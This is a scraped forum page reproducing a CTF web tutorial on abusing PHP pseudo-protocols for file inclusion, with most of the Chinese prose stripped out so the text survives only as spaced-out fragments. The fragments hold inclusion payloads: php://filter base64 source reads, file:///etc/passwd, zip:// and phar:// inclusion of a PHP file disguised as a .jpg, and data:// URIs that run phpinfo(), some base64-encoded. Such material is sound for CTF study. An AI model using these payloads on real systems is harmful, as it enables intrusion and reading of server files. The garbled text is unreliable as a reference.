[20973] 2020-04-22_【CTFweb入门-理论基础篇】PHP伪协议在CTF中的应用

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-04-22_【CTFweb入门-理论基础篇】PHP伪协议在CTF中的应用 C T F   w e b - P H P C T F L e m o n S e c   2 0 2 0 - 0 4 - 2 2 P H P C T F % 0 0 p h p 1 . p h p : / / p h p : / / f i l t e r 使 b a s e 6 4 p a y l o a d p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = u p l o a d . p h p p h p : / / i n p u t 访 / C T F 使 f i l e _ g e t _ c o n t e n t s ( P O S T ) h t t p s : / / w w w . j i a n s h u . c o m / p / 6 d 7 6 f 1 d e e 1 9 c P H P < = 5 . 2   使 % 0 0 p h p : / /     访 / I / O   s t r e a m s f i l e : / /     访 p h a r : / /     P H P   z l i b : / /     d a t a : / /     R F C   2 3 9 7 h t t p : / /     访   H T T P ( s )   f t p : / /     访   F T P ( s )   U R L s g l o b : / /     s s h 2 : / /     S e c u r e   S h e l l   2 r a r : / /     R A R o g g : / /     e x p e c t : / /     p h p : / / f i l t e r p h p : / / i n p u t a l l o w _ u r l _ f o p e n a l l o w _ u r l _ i n c l u d e p h p : / / i n p u t a l l o w _ u r l _ i n c l u d e e n c t y p e = m u l t i p a r t / f o r m - d a t a p h p : / / i n p u t
2 . f i l e : / / f i l e : / / 访 c u r l ( S S R F ) 使 h t t p s : / / w w w . j i a n s h u . c o m / p / 4 c 2 b 9 e 6 5 5 e 3 c 3 . p h a r : / / p h a r : / / P H P   m i m e n a c . p h p ( ) - > - > n a c . z i p - > - > n a c . j p g - > - > p h a r : / / n a c . j p g / n a c . p h p 4 . z l i b : / / z i p : / / 使 使 b z i p 2 : / / 使 使 z l i b : / / 使 使 5 . d a t a : / / d a t a : / / 使 使 a l l o w _ u r l _ f o p e n a l l o w _ u r l _ i n c l u d e f i l e : / / f i l e : / /   [ ] f i l e : / / / e t c / p a s s w d . . . a l l o w _ u r l _ f o p e n a l l o w _ u r l _ i n c l u d e f i l e . p h p ? f i l e = z i p : / / [ ] # [ ] f i l e . p h p ? f i l e = z i p : / / n a c . j p g # n a c . p h p     g e t # % 2 3 a l l o w _ u r l _ f o p e n a l l o w _ u r l _ i n c l u d e f i l e . p h p ? f i l e = c o m p r e s s . b z i p 2 : / / n a c . b z 2 f i l e . p h p ? f i l e = c o m p r e s s . b z i p 2 : / / . / n a c . j p g f i l e . p h p ? f i l e = c o m p r e s s . b z i p 2 : / / D : / s o f t / p h p S t u d y / W W W / f i l e . j p g a l l o w _ u r l _ f o p e n a l l o w _ u r l _ i n c l u d e f i l e . p h p ? f i l e = c o m p r e s s . z l i b : / / f i l e . g z f i l e . p h p ? f i l e = c o m p r e s s . z l i b : / / . / n a c . j p g f i l e . p h p ? f i l e = c o m p r e s s . z l i b : / / D : / s o f t / p h p S t u d y / W W W / f i l e . j p g a l l o w _ u r l _ f o p e n a l l o w _ u r l _ i n c l u d e f i l e . p h p ? f i l e = d a t a : / / t e x t / p l a i n , < ? p h p   p h p i n f o ( ) ? >
h t t p s : / / w w w . j i a n s h u . c o m / p / 0 a 8 3 3 9 f c c 2 6 9 f i l e . p h p ? f i l e = d a t a : / / t e x t / p l a i n , < ? p h p   p h p i n f o ( ) ? > f i l e . p h p ? f i l e = d a t a : / / t e x t / p l a i n ; b a s e 6 4 , P D 9 w a H A g c G h w a W 5 m b y g p P z 4 = f i l e . p h p ? f i l e = d a t a : t e x t / p l a i n , < ? p h p   p h p i n f o ( ) ? > f i l e . p h p ? f i l e = d a t a : t e x t / p l a i n ; b a s e 6 4 , P D 9 w a H A g c G h w a W 5 m b y g p P z 4 =
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则